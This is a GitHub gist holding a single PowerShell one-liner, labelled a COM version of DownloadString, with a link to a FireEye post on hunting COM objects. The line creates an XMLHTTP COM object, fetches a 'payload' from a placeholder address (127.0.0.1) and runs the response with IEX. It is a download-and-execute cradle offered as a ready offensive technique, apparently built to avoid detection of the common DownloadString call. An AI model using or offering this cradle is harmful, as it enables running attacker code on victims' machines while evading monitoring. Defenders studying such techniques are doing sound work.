Skip to content

Instantly share code, notes, and snippets.

@OlivierLaflamme
Created February 22, 2021 16:57
Show Gist options
  • Save OlivierLaflamme/74ebab9d471f245ab55afcb1393d16f2 to your computer and use it in GitHub Desktop.
Save OlivierLaflamme/74ebab9d471f245ab55afcb1393d16f2 to your computer and use it in GitHub Desktop.
COM version of downloadstring
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;
--------------
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment